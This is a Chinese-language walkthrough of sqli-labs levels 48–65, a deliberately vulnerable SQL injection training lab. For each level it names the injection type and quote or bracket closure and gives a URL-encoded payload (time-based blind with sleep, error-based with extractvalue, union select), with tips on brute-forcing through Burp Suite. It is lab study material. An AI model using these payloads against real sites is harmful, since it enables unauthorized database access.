sqllab第48-65关通关笔记

48关知识点:
  • 数值型注入
  • 时间盲注
    • payload:sort=1%20and%20if((mid(database(),1,1)=%27a%27),sleep(3),0)=1
    • 利用bp抓包放到爆破模块中进行爆破
49关知识点:
  • 字符型注入
  • 时间盲注
    • payload:sort=1'%20and%20if((mid(database(),1,1)=%27a%27),sleep(3),0)='1
    • 利用bp抓包放到爆破模块中进行爆破
50关知识点:
  • 数值型注入
  • 报错注入
    • payload:sort=1%20and%20extractvalue(1,concat(0x7e,database(),0x7e))
  • 时间盲注
51关知识点:
  • 字符型注入
  • 报错注入
    • payload:sort=1%27and%20extractvalue(1,concat(0x7e,database(),0x7e))=%27
52关知识点:
  • 数值型注入
  • 时间盲注
    • payload:sort=1%20and%20if((mid(database(),1,1)=%27a%27),sleep(1),0)
    • 通过bp进行爆破处数据库信息
53关知识点:
  • 字符型注入
  • 时间盲注
    • payload:sort=1%27and%20if((mid(database(),1,1)=%27s%27),sleep(1),0)=%271
    • 通过bp进行爆破
54关知识点:
  • 字符型注入
    • 单纯的单引号闭合
  • 联合注入
    • payload:id=0%27%20union%20select%201,database(),3%20%27
    • 获取数据库名后可以尝试获取表名、字段名和数据(5次以内就能找到密钥)
55关知识点:
  • 数值型注入
    • 括号闭合 (id)
  • 联合注入
    • payload:id=0)%20union%20select%201,database(),3%20--+
    • 获取数据库名后可以尝试获取表名、字段名和数据信息
56关知识点:
  • 字符型注入
    • 单引号+括号闭合
  • 联合注入
    • payload:id=0%27)union%20select%201,database(),3%20--+
    • 同上
57关知识点:
  • 字符型注入
    • 双引号闭合
  • 联合注入
    • payload:id=0"%20union%20select%201,database(),3%20"
    • 同上
58关知识点:
  • 字符型注入
    • 单引号闭合
  • 报错注入
    • payload:id=1%27 and extractvalue(1,concat(0x7e,database(),0x7e))=1 --+
    • 接着可以进行表名、字段名、数据信息的读取
59关知识点:
  • 数值型注入
  • 报错注入
    • payload:id=1%20and%20extractvalue(1,concat(0x7e,database(),0x7e))
60关知识点:
  • 字符型注入
    • 双引号+括号注入
  • 报错注入
    • payload:id=1")%20and%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
61关知识点:
  • 字符型注入
    • 单引号+双括号闭合
  • 报错注入
    • payload:id=1%27))%20and%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
62关知识点:
  • 字符型注入
    • 单引号+括号闭合
  • 时间盲注
    • payload:id=1%27)%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0%20--+
    • 如果爆破的话把sleep()时间设久一点儿,方便过滤
63关知识点:
  • 字符型注入
    • 单引号闭合
  • 时间盲注
    • payload:id=1%27%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0--+
    • 同上
64关知识点:
  • 数值型注入
  • 时间盲注
    • payload:id=1%20and%20if((mid(database(),1,1)=%27c%27),sleep(2),0)=0%20
65关知识点:
  • 字符型注入
    • 双引号+括号闭合
  • 时间盲注
    • payload:id=1")%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0%20--+

10

相关推荐
wan5555cn22 分钟前
多张图片生成视频模型技术深度解析
人工智能·笔记·深度学习·算法·音视频
雁于飞2 小时前
vscode中使用git、githup的基操
笔记·git·vscode·学习·elasticsearch·gitee·github
rannn_1112 小时前
【Javaweb学习|实训总结|Week1】html基础,CSS(选择器、常用样式、盒子模型、弹性盒布局、CSS定位、动画),js(基本类型、运算符典例)
css·笔记·学习·html
Ro Jace3 小时前
心灵笔记:第一性原理学习与实践
笔记
aramae4 小时前
C++ -- 模板
开发语言·c++·笔记·其他
小马学嵌入式~4 小时前
嵌入式 SQLite 数据库开发笔记
linux·c语言·数据库·笔记·sql·学习·sqlite
hour_go5 小时前
用户态与内核态的深度解析:安全、效率与优化之道
笔记·操作系统
摇滚侠6 小时前
Vue3入门到实战,最新版vue3+TypeScript前端开发教程,笔记03
javascript·笔记·typescript
岑梓铭7 小时前
考研408《计算机组成原理》复习笔记,第六章(1)——总线概念
笔记·考研·408·计算机组成原理·计组
Suckerbin7 小时前
digitalworld.local: TORMENT
笔记·安全·web安全·网络安全